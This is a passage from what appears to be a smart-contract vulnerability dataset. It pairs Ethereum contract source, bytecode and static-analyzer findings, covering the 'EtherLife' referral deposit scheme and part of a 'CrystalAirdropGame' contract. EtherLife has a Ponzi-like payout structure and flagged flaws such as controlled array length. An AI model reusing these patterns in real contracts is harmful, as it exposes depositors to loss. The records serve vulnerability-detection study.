ffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64097fde98000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600281526020017f574400000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122038bb4bcbed1921e8a2e02ab5380458649995abf1f9386fa021948ade0e94a19d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,019
0x39ad2460b94904e044ca921c964347ebb0c21146
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract EtherLife is Ownable { using SafeMath for uint; struct deposit { uint time; uint value; uint timeOfLastWithdraw; } mapping(address => deposit[]) public deposits; mapping(address => address) public parents; address[] public investors; address public constant rootParentAddress = 0xcf9E764539Ae0eE0fA316AAD30A870447C349b46; address public constant feeAddress = 0xcf9E764539Ae0eE0fA316AAD30A870447C349b46; uint public constant withdrawPeriod = 1 days; uint public constant minDepositSum = 100 finney; // 0.1 ether; event Deposit(address indexed from, uint256 value); event Withdraw(address indexed from, uint256 value); event ReferrerBonus(address indexed from, address indexed to, uint8 level, uint256 value); modifier checkSender() { require(msg.sender != address(0)); _; } function bytesToAddress(bytes source) internal pure returns(address parsedAddress) { assembly { parsedAddress := mload(add(source,0x14)) } return parsedAddress; } function () checkSender public payable { if(msg.value == 0) { withdraw(); return; } require(msg.value >= minDepositSum); checkReferrer(msg.sender); payFee(msg.value); addDeposit(msg.sender, msg.value); emit Deposit(msg.sender, msg.value); payRewards(msg.sender, msg.value); } function getInvestorsLength() public view returns (uint) { return investors.length; } function getDepositsLength(address investorAddress) public view returns (uint) { return deposits[investorAddress].length; } function getDepositByIndex(address investorAddress, uint index) public view returns (uint, uint) { return (deposits[investorAddress][index].time, deposits[investorAddress][index].value); } function getParents(address investorAddress) public view returns (address[]) { address[] memory refLevels = new address[](5); address current = investorAddress; for(uint8 i = 0; i < 5; i++) { current = parents[current]; if(current == address(0)) break; refLevels[i] = current; } return refLevels; } function calculateRewardForLevel(uint8 level, uint value) public pure returns (uint) { if(level == 1) return value.mul(2).div(100); // 2% if(level == 2) return value.div(100); // 1% if(level == 3) return value.div(200); // 0.5% if(level == 4) return value.div(400); // 0.25% if(level == 5) return value.div(400); // 0.25% return 0; } function calculatWithdrawForPeriod(uint8 period, uint depositValue, uint periodsCount) public pure returns (uint) { if(period == 1) { return depositValue.mul(4).div(100).mul(periodsCount); // 4% } else if(period == 2) { return depositValue.mul(3).div(100).mul(periodsCount); // 3% } else if(period == 3) { return depositValue.mul(2).div(100).mul(periodsCount); // 2% } else if(period == 4) { return depositValue.div(100).mul(periodsCount); // 1% } else if(period == 5) { return depositValue.div(200).mul(periodsCount); // 0.5% } return 0; } function calculateWithdraw(uint currentTime, uint depositTime, uint depositValue, uint timeOfLastWithdraw) public pure returns (uint) { if(currentTime - timeOfLastWithdraw < withdrawPeriod) { return 0; } uint timeEndOfPeriod1 = depositTime + 30 days; uint timeEndOfPeriod2 = depositTime + 60 days; uint timeEndOfPeriod3 = depositTime + 90 days; uint timeEndOfPeriod4 = depositTime + 120 days; uint sum = 0; uint timeEnd = 0; uint periodsCount = 0; if(timeOfLastWithdraw < timeEndOfPeriod1) { timeEnd = currentTime > timeEndOfPeriod1 ? timeEndOfPeriod1 : currentTime; (periodsCount, timeOfLastWithdraw) = calculatePeriodsCountAndNewTime(timeOfLastWithdraw, timeEnd); sum = calculatWithdrawForPeriod(1, depositValue, periodsCount); } if(timeOfLastWithdraw >= timeEndOfPeriod1) { timeEnd = currentTime > timeEndOfPeriod2 ? timeEndOfPeriod2 : currentTime; (periodsCount, timeOfLastWithdraw) = calculatePeriodsCountAndNewTime(timeOfLastWithdraw, timeEnd); sum = sum.add(calculatWithdrawForPeriod(2, depositValue, periodsCount)); } if(timeOfLastWithdraw >= timeEndOfPeriod2) { timeEnd = currentTime > timeEndOfPeriod3 ? timeEndOfPeriod3 : currentTime; (periodsCount, timeOfLastWithdraw) = calculatePeriodsCountAndNewTime(timeOfLastWithdraw, timeEnd); sum = sum.add(calculatWithdrawForPeriod(3, depositValue, periodsCount)); } if(timeOfLastWithdraw >= timeEndOfPeriod3) { timeEnd = currentTime > timeEndOfPeriod4 ? timeEndOfPeriod4 : currentTime; (periodsCount, timeOfLastWithdraw) = calculatePeriodsCountAndNewTime(timeOfLastWithdraw, timeEnd); sum = sum.add(calculatWithdrawForPeriod(4, depositValue, periodsCount)); } if(timeOfLastWithdraw >= timeEndOfPeriod4) { timeEnd = currentTime; (periodsCount, timeOfLastWithdraw) = calculatePeriodsCountAndNewTime(timeOfLastWithdraw, timeEnd); sum = sum.add(calculatWithdrawForPeriod(5, depositValue, periodsCount)); } return sum; } function checkReferrer(address investorAddress) internal { if(deposits[investorAddress].length == 0) { require(msg.data.length == 20, "you must specify referer address"); address referrerAddress = bytesToAddress(bytes(msg.data)); require(referrerAddress != investorAddress, "address must be different from your own"); require(deposits[referrerAddress].length > 0 || referrerAddress == rootParentAddress, "address must be an active investor"); parents[investorAddress] = referrerAddress; investors.push(investorAddress); } } function payRewards(address investorAddress, uint depositValue) internal { address[] memory parentAddresses = getParents(investorAddress); for(uint8 i = 0; i < parentAddresses.length; i++) { address parent = parentAddresses[i]; if(parent == address(0)) break; uint rewardValue = calculateRewardForLevel(i + 1, depositValue); parent.transfer(rewardValue); emit ReferrerBonus(investorAddress, parent, i + 1, rewardValue); } } function addDeposit(address investorAddress, uint weiAmount) internal { deposits[investorAddress].push(deposit(now, weiAmount, now)); } function payFee(uint weiAmount) internal { uint fee = weiAmount.mul(16).div(100); // 16% feeAddress.transfer(fee); } function calculateNewTime(uint startTime, uint endTime) public pure returns (uint) { uint periodsCount = endTime.sub(startTime).div(withdrawPeriod); return startTime.add(withdrawPeriod.mul(periodsCount)); } function calculatePeriodsCountAndNewTime(uint startTime, uint endTime) public pure returns (uint, uint) { uint periodsCount = endTime.sub(startTime).div(withdrawPeriod); uint newTime = startTime.add(withdrawPeriod.mul(periodsCount)); return (periodsCount, newTime); } function payWithdraw(address to) internal { require(deposits[to].length > 0); uint sum = 0; for(uint i = 0; i < deposits[to].length; i++) { uint value = calculateWithdraw(now, deposits[to][i].time, deposits[to][i].value, deposits[to][i].timeOfLastWithdraw); if(value > 0) { deposits[to][i].timeOfLastWithdraw = calculateNewTime(deposits[to][i].timeOfLastWithdraw, now); } sum = sum.add(value); } require(sum > 0); to.transfer(sum); emit Withdraw(to, sum); } function withdraw() checkSender public returns (bool) { payWithdraw(msg.sender); return true; } function batchWithdraw(address[] to) onlyOwner public { for(uint i = 0; i < to.length; i++) { payWithdraw(to[i]); } } function batchWithdraw(uint startIndex, uint length) onlyOwner public { for(uint i = startIndex; i < length; i++) { payWithdraw(investors[i]); } } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312eb4f9a81146101b057806318b13fb2146101d75780631e5230031461021457806330d02d83146102295780633ccfd60b146102445780633feb5f2b1461026d5780634127535814610214578063431cc3dd1461028557806382f3dbe2146102da57806384c830d3146102ef5780638da5cb5b1461032c578063a087ae8914610341578063a6567a9a1461035c578063a8ce6b7314610377578063a9fae42214610398578063d6d6817714610409578063e3cc65e21461044b578063e8d3cad514610460578063ebb9ba8014610481578063f2fde38b1461049f578063fc5e2cce146104c0575b33151561012857600080fd5b34151561013d576101376104e1565b506101ae565b67016345785d8a000034101561015257600080fd5b61015b336104fe565b610164346107b2565b61016e333461081f565b60408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a26101ae333461087e565b005b3480156101bc57600080fd5b506101c561097e565b60408051918252519081900360200190f35b3480156101e357600080fd5b506101f8600160a060020a0360043516610985565b60408051600160a060020a039092168252519081900360200190f35b34801561022057600080fd5b506101f86109a0565b34801561023557600080fd5b506101ae6004356024356109b8565b34801561025057600080fd5b506102596104e1565b604080519115158252519081900360200190f35b34801561027957600080fd5b506101f8600435610a0f565b34801561029157600080fd5b50604080516020600480358082013583810280860185019096528085526101ae95369593946024949385019291829185019084908082843750949750610a379650505050505050565b3480156102e657600080fd5b506101c5610a84565b3480156102fb57600080fd5b50610313600160a060020a0360043516602435610a90565b6040805192835260208301919091528051918290030190f35b34801561033857600080fd5b506101f8610b09565b34801561034d57600080fd5b50610313600435602435610b18565b34801561036857600080fd5b506101c5600435602435610b66565b34801561038357600080fd5b506101c5600435602435604435606435610baf565b3480156103a457600080fd5b506103b9600160a060020a0360043516610d1e565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103f55781810151838201526020016103dd565b505050509050019250505060405180910390f35b34801561041557600080fd5b5061042d600160a060020a0360043516602435610dc1565b60408051938452602084019290925282820152519081900360600190f35b34801561045757600080fd5b506101c5610e02565b34801561046c57600080fd5b506101c5600160a060020a0360043516610e08565b34801561048d57600080fd5b506101c560ff60043516602435610e23565b3480156104ab57600080fd5b506101ae600160a060020a0360043516610ece565b3480156104cc57600080fd5b506101c560ff60043516602435604435610f62565b60003315156104ef57600080fd5b6104f833611036565b50600190565b600160a060020a03811660009081526001602052604081205415156107ae576014361461058c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f796f75206d757374207370656369667920726566657265722061646472657373604482015290519081900360640190fd5b6105c66000368080601f0160208091040260200160405190810160405280939291908181526020018383808284375061125e945050505050565b9050600160a060020a03808216908316141561066957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f61646472657373206d75737420626520646966666572656e742066726f6d207960448201527f6f7572206f776e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03811660009081526001602052604081205411806106aa5750600160a060020a03811673cf9e764539ae0ee0fa316aad30a870447c349b46145b151561073d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f61646472657373206d75737420626520616e2061637469766520696e7665737460448201527f6f72000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a038083166000818152600260205260408120805493851673ffffffffffffffffffffffffffffffffffffffff199485161790556003805460018101825591527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b0180549092161790555b5050565b60006107d660646107ca84601063ffffffff61126516565b9063ffffffff61129016565b60405190915073cf9e764539ae0ee0fa316aad30a870447c349b469082156108fc029083906000818181858888f1935050505015801561081a573d6000803e3d6000fd5b505050565b600160a060020a0390911660009081526001602081815260408084208151606081018352428082528185019788529281019283528154808601835591865292909420915160039094029091019283559251908201559051600290910155565b6060600080600061088e86610d1e565b9350600092505b83518360ff16101561097657838360ff168151811015156108b257fe5b602090810290910101519150600160a060020a03821615156108d357610976565b6108e08360010186610e23565b604051909150600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610919573d6000803e3d6000fd5b506040805160ff60018601168152602081018390528151600160a060020a0380861693908a16927f376b851abe2d6c4f73814c680eca625154aaa6aaeb7be7dcaf5dbee98c4295f2929081900390910190a3600190920191610895565b505050505050565b6201518081565b600260205260009081526040902054600160a060020a031681565b73cf9e764539ae0ee0fa316aad30a870447c349b4681565b60008054600160a060020a031633146109d057600080fd5b50815b8181101561081a57610a076003828154811015156109ed57fe5b600091825260209091200154600160a060020a0316611036565b6001016109d3565b6003805482908110610a1d57fe5b600091825260209091200154600160a060020a0316905081565b60008054600160a060020a03163314610a4f57600080fd5b5060005b81518110156107ae57610a7c8282815181101515610a6d57fe5b90602001906020020151611036565b600101610a53565b67016345785d8a000081565b600160a060020a0382166000908152600160205260408120805482919084908110610ab757fe5b60009182526020808320600390920290910154600160a060020a038716835260019091526040909120805485908110610aec57fe5b906000526020600020906003020160010154915091509250929050565b600054600160a060020a031681565b6000808080610b34620151806107ca878963ffffffff6112a716565b9150610b59610b4c620151808463ffffffff61126516565b879063ffffffff6112b916565b9196919550909350505050565b600080610b80620151806107ca858763ffffffff6112a716565b9050610ba5610b98620151808363ffffffff61126516565b859063ffffffff6112b916565b91505b5092915050565b60008060008060008060008062015180898d031015610bd15760009750610d0f565b50505062278d008801935050624f1a0087019150506276a7008601629e340087016000808086891015610c2c57868c11610c0b578b610c0d565b865b9150610c198983610b18565b99509050610c2960018b83610f62565b92505b868910610c7157858c11610c40578b610c42565b855b9150610c4e8983610b18565b99509050610c6e610c6160028c84610f62565b849063ffffffff6112b916565b92505b858910610ca957848c11610c85578b610c87565b845b9150610c938983610b18565b99509050610ca6610c6160038c84610f62565b92505b848910610ce157838c11610cbd578b610cbf565b835b9150610ccb8983610b18565b99509050610cde610c6160048c84610f62565b92505b838910610d0b578b9150610cf58983610b18565b99509050610d08610c6160058c84610f62565b92505b8297505b50505050505050949350505050565b60408051600580825260c0820190925260609182916000918291906020820160a080388339019050509250849150600090505b60058160ff161015610db857600160a060020a0391821660009081526002602052604090205490911690811515610d8757610db8565b81838260ff16815181101515610d9957fe5b600160a060020a03909216602092830290910190910152600101610d51565b50909392505050565b600160205281600052604060002081815481101515610ddc57fe5b600091825260209091206003909102018054600182015460029092015490935090915083565b60035490565b600160a060020a031660009081526001602052604090205490565b60008260ff1660011415610e4e57610e4760646107ca84600263ffffffff61126516565b9050610ec8565b8260ff1660021415610e6b57610e4782606463ffffffff61129016565b8260ff1660031415610e8857610e478260c863ffffffff61129016565b8260ff1660041415610ea657610e478261019063ffffffff61129016565b8260ff1660051415610ec457610e478261019063ffffffff61129016565b5060005b92915050565b600054600160a060020a03163314610ee557600080fd5b600160a060020a0381161515610efa57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008360ff1660011415610f9d57610f9682610f8a60646107ca87600463ffffffff61126516565b9063ffffffff61126516565b905061102f565b8360ff1660021415610fc357610f9682610f8a60646107ca87600363ffffffff61126516565b8360ff1660031415610fe957610f9682610f8a60646107ca87600263ffffffff61126516565b8360ff166004141561100a57610f9682610f8a85606463ffffffff61129016565b8360ff166005141561102b57610f9682610f8a8560c863ffffffff61129016565b5060005b9392505050565b600160a060020a03811660009081526001602052604081205481908190811061105e57600080fd5b60009250600091505b600160a060020a0384166000908152600160205260409020548210156111d557600160a060020a03841660009081526001602052604090208054611132914291859081106110b157fe5b60009182526020808320600390920290910154600160a060020a0389168352600190915260409091208054869081106110e657fe5b600091825260208083206001600390930201820154600160a060020a038b168452919052604090912080548790811061111b57fe5b906000526020600020906003020160020154610baf565b905060008111156111b857600160a060020a0384166000908152600160205260409020805461117e91908490811061116657fe5b90600052602060002090600302016002015442610b66565b600160a060020a03851660009081526001602052604090208054849081106111a257fe5b9060005260206000209060030201600201819055505b6111c8838263ffffffff6112b916565b9250600190910190611067565b600083116111e257600080fd5b604051600160a060020a0385169084156108fc029085906000818181858888f19350505050158015611218573d6000803e3d6000fd5b50604080518481529051600160a060020a038616917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a250505050565b6014015190565b6000808315156112785760009150610ba8565b5082820282848281151561128857fe5b041461102f57fe5b600080828481151561129e57fe5b04949350505050565b6000828211156112b357fe5b50900390565b60008282018381101561102f57fe00a165627a7a72305820d223c15c3d726cbe11e9560146eaa4f51d8ff98a4f03157cf772c18845aed5950029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,020
0x5b813a2f4b58183d270975ab60700740af00a3c9
pragma solidity ^0.4.24; /* * CrystalAirdropGame * Author: InspiGames * Website: https://cryptominingwar.github.io/ */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract CryptoMiningWarInterface { uint256 public roundNumber; uint256 public deadline; function addCrystal( address _addr, uint256 _value ) public {} } contract CrystalAirdropGame { using SafeMath for uint256; address public administrator; // mini game uint256 public MINI_GAME_TIME_DEFAULT = 60 * 5; uint256 public MINI_GAME_PRIZE_CRYSTAL = 100; uint256 public MINI_GAME_BETWEEN_TIME = 8 hours; uint256 public MINI_GAME_ADD_TIME_DEFAULT = 15; address public miningWarContractAddress; uint256 public miniGameId = 0; uint256 public noRoundMiniGame; CryptoMiningWarInterface public MiningWarContract; /** * Admin can set the bonus of game&#39;s reward */ uint256 public MINI_GAME_BONUS = 100; /** * @dev mini game information */ mapping(uint256 => MiniGame) public minigames; /** * @dev player information */ mapping(address => PlayerData) public players; struct MiniGame { uint256 miningWarRoundNumber; bool ended; uint256 prizeCrystal; uint256 startTime; uint256 endTime; address playerWin; uint256 totalPlayer; } struct PlayerData { uint256 currentMiniGameId; uint256 lastMiniGameId; uint256 win; uint256 share; uint256 totalJoin; uint256 miningWarRoundNumber; } event eventEndMiniGame( address playerWin, uint256 crystalBonus ); event eventJoinMiniGame( uint256 totalJoin ); modifier disableContract() { require(tx.origin == msg.sender); _; } constructor() public { administrator = msg.sender; // set interface main contract miningWarContractAddress = address(0xf84c61bb982041c030b8580d1634f00fffb89059); MiningWarContract = CryptoMiningWarInterface(miningWarContractAddress); } /** * @dev MainContract used this function to verify game&#39;s contract */ function isContractMiniGame() public pure returns( bool _isContractMiniGame ) { _isContractMiniGame = true; } /** * @dev set discount bonus for game * require is administrator */ function setDiscountBonus( uint256 _discountBonus ) public { require( administrator == msg.sender ); MINI_GAME_BONUS = _discountBonus; } /** * @dev Main Contract call this function to setup mini game. * @param _miningWarRoundNumber is current main game round number * @param _miningWarDeadline Main game&#39;s end time */ function setupMiniGame( uint256 _miningWarRoundNumber, uint256 _miningWarDeadline ) public { require(minigames[ miniGameId ].miningWarRoundNumber < _miningWarRoundNumber && msg.sender == miningWarContractAddress); // rerest current mini game to default minigames[ miniGameId ] = MiniGame(0, true, 0, 0, 0, 0x0, 0); noRoundMiniGame = 0; startMiniGame(); } /** * @dev start the mini game */ function startMiniGame() private { uint256 miningWarRoundNumber = getMiningWarRoundNumber(); require(minigames[ miniGameId ].ended == true); // caculate information for next mini game uint256 currentPrizeCrystal; if ( noRoundMiniGame == 0 ) { currentPrizeCrystal = SafeMath.div(SafeMath.mul(MINI_GAME_PRIZE_CRYSTAL, MINI_GAME_BONUS),100); } else { uint256 rate = 168 * MINI_GAME_BONUS; currentPrizeCrystal = SafeMath.div(SafeMath.mul(minigames[miniGameId].prizeCrystal, rate), 10000); // price * 168 / 100 * MINI_GAME_BONUS / 100 } uint256 startTime = now + MINI_GAME_BETWEEN_TIME; uint256 endTime = startTime + MINI_GAME_TIME_DEFAULT; noRoundMiniGame = noRoundMiniGame + 1; // start new round mini game miniGameId = miniGameId + 1; minigames[ miniGameId ] = MiniGame(miningWarRoundNumber, false, currentPrizeCrystal, startTime, endTime, 0x0, 0); } /** * @dev end Mini Game&#39;s round */ function endMiniGame() private { require(minigames[ miniGameId ].ended == false && (minigames[ miniGameId ].endTime <= now )); uint256 crystalBonus = SafeMath.div( SafeMath.mul(minigames[ miniGameId ].prizeCrystal, 50), 100 ); // update crystal bonus for player win if (minigames[ miniGameId ].playerWin != 0x0) { PlayerData storage p = players[minigames[ miniGameId ].playerWin]; p.win = p.win + crystalBonus; } // end current mini game minigames[ miniGameId ].ended = true; emit eventEndMiniGame(minigames[ miniGameId ].playerWin, crystalBonus); // start new mini game startMiniGame(); } /** * @dev player join this round */ function joinMiniGame() public disableContract { require(now >= minigames[ miniGameId ].startTime && minigames[ miniGameId ].ended == false); PlayerData storage p = players[msg.sender]; if (now <= minigames[ miniGameId ].endTime) { // update player data in current mini game if (p.currentMiniGameId == miniGameId) { p.totalJoin = p.totalJoin + 1; } else { // if player join an new mini game then update share of last mini game for this player updateShareCrystal(); p.currentMiniGameId = miniGameId; p.totalJoin = 1; p.miningWarRoundNumber = minigames[ miniGameId ].miningWarRoundNumber; } // update information for current mini game if ( p.totalJoin <= 1 ) { // this player into the current mini game for the first time minigames[ miniGameId ].totalPlayer = minigames[ miniGameId ].totalPlayer + 1; } minigames[ miniGameId ].playerWin = msg.sender; minigames[ miniGameId ].endTime = minigames[ miniGameId ].endTime + MINI_GAME_ADD_TIME_DEFAULT; emit eventJoinMiniGame(p.totalJoin); } else { // need run end round if (minigames[ miniGameId ].playerWin == 0x0) { updateShareCrystal(); p.currentMiniGameId = miniGameId; p.lastMiniGameId = miniGameId; p.totalJoin = 1; p.miningWarRoundNumber = minigames[ miniGameId ].miningWarRoundNumber; minigames[ miniGameId ].playerWin = msg.sender; } endMiniGame(); } } /** * @dev update share bonus for player who join the game */ function updateShareCrystal() private { uint256 miningWarRoundNumber = getMiningWarRoundNumber(); PlayerData storage p = players[msg.sender]; // check current mini game of player join. if mining war start new round then reset player data if ( p.miningWarRoundNumber != miningWarRoundNumber) { p.share = 0; p.win = 0; } else if (minigames[ p.currentMiniGameId ].ended == true && p.lastMiniGameId < p.currentMiniGameId 